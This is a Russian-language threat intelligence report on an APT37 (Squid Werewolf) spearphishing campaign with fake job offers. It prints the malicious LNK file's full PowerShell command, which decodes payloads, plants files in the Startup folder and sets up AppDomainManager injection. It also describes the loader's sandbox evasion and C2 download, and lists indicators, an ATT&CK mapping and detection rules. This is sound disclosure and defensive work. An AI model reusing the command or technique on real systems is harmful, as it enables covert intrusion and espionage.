
Сотни тысяч рублей за ваши секреты: кибершпионы Squid Werewolf маскируются под рекрутеров
Кластеры активности, вовлеченные в шпионаж, могут маскироваться под рекрутеров, чтобы распространять фишинговые электронные письма. Рассылки нацелены на ключевых сотрудников организаций, которыми интересуются злоумышленники. В декабре 2024 года эксперты BI.ZONE Threat Intelligence обнаружили интересную фишинговую кампанию, жертве которой предлагалось рассмотреть вакансию в промышленной организации. Детальный анализ показал, что за кибератакой стоит кластер активности Squid Werewolf (APT37, Ricochet Chollima, ScarCruft, Reaper Group).
- Целевые фишинговые рассылки с актуальными темами позволяют атакующим в кратчайшие сроки получить доступ к информации в системах ключевых сотрудников организаций.
- Злоумышленники все реже используют документы Microsoft Word и таблицы Microsoft Excel, предпочитая архивы с исполняемыми файлами, скриптами или ярлыками.
- Кластеры, вовлеченные в шпионаж, усложняют свои методы и инструменты. Для защиты компаниям рекомендуется использовать продвинутые средства обнаружения активности, например EDR.
Атака начиналась с фишингового письма, которое злоумышленники отправляли жертве от имени HR-специалиста компании «Объединенный промышленный комплекс». В нем получателю предлагалось ознакомиться с предложением о работе.

Во вложении находился защищенный паролем ZIP-архив Предложение о работе.zip
(пароль указан в тексте письма). Он содержал LNK-файл Предложение о работе.pdf.lnk
. При открытии пользователем LNK-файла происходил запуск следующей команды:
powershell.exe -nop -c $t=$env:appdata+'\Microsoft\Windows\Start Menu\Programs\Startup';if(Get-ChildItem $env:temp -recurse 'Предложение о работе.pdf.lnk'){$k=New-Object IO.FileStream ($env:temp+'\'+((Get-ChildItem $env:temp -recurse 'Предложение о работе.pdf.lnk').Directory).Name+'\'+'Предложение о работе.pdf.lnk'),'Open','Read','ReadWrite'}else{$k=New-Object IO.FileStream 'Предложение о работе.pdf.lnk','Open','Read','ReadWrite'};$b=New-Object byte[](692604);$k.Seek(3001,[IO.SeekOrigin]::Begin);$k.Read($b,0,692604);$a=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64CharArray($b,0,$b.Length)) -split ':';copy 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe' ($t+'\d.exe');[IO.File]::<# mm #>WriteAllBytes($t+'\d.exe.config',[Convert]::FromBase64""String($a[0]));[IO.File]::<# mm #>WriteAllBytes($t+'\DomainManager.dll',[Convert]::FromBase64""String($a[1]));[IO.File]::<# mm #>WriteAllBytes($env:temp+'\mngs Attachement.pdf',[Convert]::FromBase64""String($a[2]));explorer ($env:temp+'\mngs Attachement.pdf');start ($t+'\d.exe')
В результате выполнения указанной выше команды осуществлялись следующие действия:
- Открытие файла
Предложение о работе.pdf.lnk
для считывания по смещению закодированных Base64 данных и их декодирования. Декодированные данные разбиваются по символу:
и декодируются снова алгоритмом Base. - Копирование файла
%WINDOWS%\Microsoft.NET\Framework\v0.30319\dfsvc.exe
в%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\d.exe
для закрепления в системе. - Сохранение декодированных данных в файлы:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\d.exe.config
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\DomainManager.dll
%TEMP%\mngs Attachement.pdf
- Открытие фишингового документа
mngs Attachement.pdf
. - Запуск исполняемого файла
d.exe
.

Предложение о работе.pdf.lnk


mngs Attachement.pdf
Динамически подключаемая библиотека (DLL) DomainManager.dll
запускается с помощью исполняемого файла d.exe
(dfsvc.exe
)
Файл d.exe
является .NET-приложением. При запуске .NET-приложений CLR (Common Language Runtime) автоматически загружает и анализирует конфигурационный файл, в данном случае d.exe.config
.
Содержимое d.exe.config
:

Конфигурационный файл содержит в секции <runtime>
настройки среды выполнения .NET CLR, необходимые для загрузки пользовательского AppDomainManager
<appDomainManagerType value="DomainManager.InjectedDomainManager" />
— указывает класс, который будет использоваться как менеджер домена приложений (AppDomainManager).InjectedDomainManager
означает, что CLR должен загрузить классInjectedDomainManager
из пространства именDomainManager
.<appDomainManagerAssembly value="DomainManager" />
— указывает название сборки (DLL), из которой загружается AppDomainManager. В данном случае это DLL-файл, находящийся в том же каталоге, что и исполняемый файлd.exe
.
DomainManager.dll
представляет собой загрузчик, реализованный на C# и обфусцированный, предположительно, Obfuscar.
Строки в загрузчике содержатся в зашифрованном двойным XOR массиве байтов с индексом символа в массиве и с ключом 0xAA
.

Точка входа находится в методе InitializeNewDomain
класса InjectedDomainManager
. Пример кода

Загрузчик обладает следующими функциональными возможностями:
-
Проверяет наличие доступа к интернету, отправляя запрос
https://www.timeapi[.]io/api/time/current/zone?timeZone=Europe%2FAmsterdam
. Если в ответе от сервера есть строка"seconds"
, значит, доступ есть, иначе — нет. -
Проверяет время работы программы с целью затруднения запуска в песочницах. Для этого загрузчик получает текущее время, спит 10 минут, затем получает еще раз текущее время, из второго вычитает первое. Разница должна быть меньше 9 минут, иначе программа отправляет GET-запрос на сетевой адрес
hxxps://hwsrv-1253398.hostwindsdns[.]com/307c77ab-f41f-4dd4-a478-2a71b9625f64/c/discountcode.php
и затем прекращает работу. - В случае успешного прохождения всех проверок загрузчик отключает автозапуск файлов из каталога автозапуска, установив следующие значения параметров ключа реестра
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder]
:dll = 0x3
exe.config = 0x3
- Проверяет наличие файла
%LOCALAPPDATA%\DomainManager.conf
. Если он есть, считывает зашифрованную алгоритмом AES128 CBC вредоносную нагрузку, расшифровывает и запускает ее в памяти. В случае если файл%LOCALAPPDATA%\DomainManager.conf
не существует, осуществляет GET-запрос по сетевому адресуhxxps://hwsrv-1253398.hostwindsdns[.]com/307c77ab-f41f-4dd4-a478-2a71b9625f64/c/shoppingcart.php
, ответ от сервера расшифровывается AES128 CBC. Ответ от сервера содержит вредоносную нагрузку, которая запускается загрузчиком в памяти. Нагрузка от сервера записывается в файл%LOCALAPPDATA%\DomainManager.conf
в зашифрованном с помощью AES128 CBC виде. На момент исследования нагрузка была недоступна.
Обнаруженная нами атака похожа на описанную экспертами Securonix, которую они относят к группировке APT37 (в таксономии BI.ZONE это Squid Werewolf).
Ранее атакующие использовали схожую библиотеку на C#, но нагрузка расшифровывалась алгоритмом сдвига (шифр Цезаря) и представляла собой обфусцированный код на JavaScript. Данная нагрузка являлась еще одним загрузчиком, который отправлял на сервер имя компьютера жертвы, загружал и выполнял код следующей стадии — PowerShell-сценарий, являющийся трояном удаленного доступа VeilShell.
20dd93441c5e78b7adc7764c92719bed70ddb0676f707df7ea9f37d7969f4776
49a2ed08930ed20cbf859ca2fe3113e64f7a305c7a03cbda284fcceb781d053b
0601426a6da40ec9b47bab54e4ec149ba69ee58f787eea0e32d1001cab1abd04
hwsrv-1253398.hostwindsdns[.]com
Тактика | Техника | Процедура |
---|---|---|
Initial Access | Phishing: Spearphishing Attachment |
Squid Werewolf использует вложения в фишинговые электронные письма для доставки ВПО |
Execution | Command and Scripting Interpreter: PowerShell |
Squid Werewolf использует вредоносный LNK-файл для запуска команды PowerShell: |
User Execution: Malicious File |
Жертва должна запустить вредоносный LNK-файл, чтобы инициировать процесс компрометации системы |
|
Persistence | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder |
Squid Werewolf использует вредоносный LNK-файл для создания в каталоге автозагрузки файлов |
Defense Evasion | Deobfuscate/Decode Files or Information |
Squid Werewolf использует PowerShell-сценарий для декодирования из вредоносного LNK-файла закодированной алгоритмом Base64 полезной нагрузки, которая состоит из трех файлов: Squid Werewolf использует .NET-загрузчик для расшифровки загружаемого файла полезной нагрузки Squid Werewolf использует .NET-загрузчик для расшифровки строк, зашифрованных двойным XOR |
Hijack Execution Flow: AppDomainManager |
Squid Werewolf использует технику AppDomainManager injection для запуска .NET-загрузчика |
|
Masquerading: Rename System Utilities |
Squid Werewolf использует вредоносный LNK-файл для копирования и переименования системного .NET-приложения |
|
Masquerading: Double File Extension |
Squid Werewolf использует в названии LNK-файла двойное расширение |
|
Modify Registry |
Squid Werewolf использует .NET-загрузчик для изменения значений параметров ключа реестра |
|
Obfuscated Files or Information |
Squid Werewolf использует обфускатор Obfuscar для обфускации .NET-загрузчика. Squid Werewolf использует двойной XOR для шифрования строк в .NET-загрузчике |
|
Obfuscated Files or Information: Embedded Payloads |
Squid Werewolf использует вредоносный LNK-файл, содержащий закодированную Base64 полезную нагрузку, которая состоит из трех файлов: |
|
Obfuscated Files or Information: Command Obfuscation |
Squid Werewolf использует во вредоносном LNK-файле обфусцированную PowerShell-команду |
|
Obfuscated Files or Information: Encrypted/Encoded File |
Squid Werewolf использует файл полезной нагрузки |
|
Virtualization/Sandbox Evasion: Time Based Evasion |
Squid Werewolf использует в .NET-загрузчике временную задержку в 10 минут для проверки времени работы программы |
|
Discovery | System Network Configuration Discovery: Internet Connection Discovery |
Squid Werewolf использует сервис |
Command and Control | Application Layer Protocol: Web Protocols |
Squid Werewolf использует протокол HTTPS для загрузки зашифрованного файла полезной нагрузки |
Ingress Tool Transfer |
Squid Werewolf использует .NET-загрузчик для скачивания вредоносной полезной нагрузки с сервера |
Рассматриваемая вредоносная активность обнаруживается следующими правилами BI.ZONE EDR:
win_suspicious_powershell_base64
win_renamed_dfsvc_process
win_th_create_file_in_startup_folder_via_command_interpreter
Кластер активности Squid Werewolf, как и многие другие группировки, проникает в инфраструктуру жертвы с помощью фишингового письма. Защититься от этого помогут сервисы фильтрации нежелательной почты. Одно из таких решений — BI.ZONE Mail Security, которое обладает высокопроизводительным ядром нашей собственной разработки и совмещает разные методы анализа email-трафика.
Чтобы построить стратегию киберзащиты, важно изучать методы и инструменты злоумышленников, а также быть в курсе текущих атак. Для этого мы рекомендуем использовать данные портала BI.ZONE Threat Intelligence. Он предоставляет подробную информацию об актуальных кибератаках, злоумышленниках, их тактиках, техниках и инструментах, а также сведения с теневых ресурсов. Эти данные помогут обеспечить эффективную работу СЗИ, ускорить реагирование на инциденты и защититься от наиболее серьезных для компании угроз.